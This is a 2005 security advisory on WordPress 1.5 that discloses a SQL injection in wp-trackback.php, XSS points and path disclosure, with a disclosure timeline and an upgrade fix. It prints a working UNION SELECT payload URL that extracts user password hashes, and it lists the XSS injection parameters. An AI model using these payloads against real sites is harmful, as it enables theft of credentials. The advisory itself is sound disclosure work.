[BuHa Security] Wordpress SQL-Injection
---------------------------------------------------
| BuHa Security-Advisory #1 | May 17th, 2005 |
---------------------------------------------------
| Vendor | Wordpress |
| URL | http://wordpress.org/ |
| Version | <= Wordpress 1.5 |
| Risk | Moderate (SQL-Injection) |
---------------------------------------------------
o Description:
=============
WordPress is a state-of-the-art semantic personal publishing platform
with a focus on aesthetics, web standards, and usability.
Visit http://wordpress.org/ for detailed information.
o SQL-Injection:
===============
The most critical vulnerability in the 1.5 release of wordpress is an
SQL-Injection in `wp-trackback.php'. It's not easily exploitable
because you do not get a result when you inject a valid query but it's
possible to bruteforce values in the tables - for example the password
hashes.
Here some details:
The parameter `tb_id' in `wp-trackback.php' is not validated correctly
and there are no quotes in the SQL-query so an attacker is able to
insert sql commands.
$pingstatus = $wpdb->get_var("SELECT ping_status FROM $wpdb->posts
WHERE ID = $tb_id");
Example: (I converted the POST-request into a GET-request.)
> $tb_id = 1 union select user_pass,0 from wp_users
> $url = bla
> $title = bla
</wp-trackback.php?tb_id=1%20union%20select%200,user_pass%20from%20
wp_users&url=bla&title=bla>
By injecting this query I get following databae error:
> WordPress database error:
> [The used SELECT statements have a different number of columns]
> SELECT ping_status FROM wp_posts WHERE ID = 1 union select 0,
> user_pass from wp_users
When I insert "1 union select user_pass from wp_users" as value for
`tb_id' I get no error message because the query was well-formed -
logical. Through the possibility to insert any sql-command it's
possible to 'reconstruct' values of the tables.
o XSS:
=====
</wp-admin/edit.php?s=[XSS]&submit=Search>
</wp-admin/post.php?action=confirmdeletecomment&comment=1&p=[XSS]>
o Path Disclosure:
=================
</wordpress-1.5-strayhorn/wp-content/themes/*>
</wordpress-1.5-strayhorn/wp-includes/*>
</wordpress-1.5-strayhorn/wp-admin/*>
> Fatal error: Call to undefined function add_filter() in
> [...]/htdocs/testenv/blogs/wordpress/wordpress-1.5-strayhorn/
> wp-content/themes/classic/comments-popup.php on line 3
o Disclosure Timeline:
=====================
17 Apr 05 - Security flaws discovered.
19 Apr 05 - Vendor contacted.
10 May 05 - Vendor released bugfixed version.
17 May 05 - Public release.
o Solution:
==========
Upgrade to wordpress 1.5.1 [1]
o Credits:
=========
Thomas Waldegger <bugtraq@xxxxxxxxxxxx>
BuHa-Security Community - http://buha.info/board/
[1] http://wordpress.org/development/2005/05/one-five-one/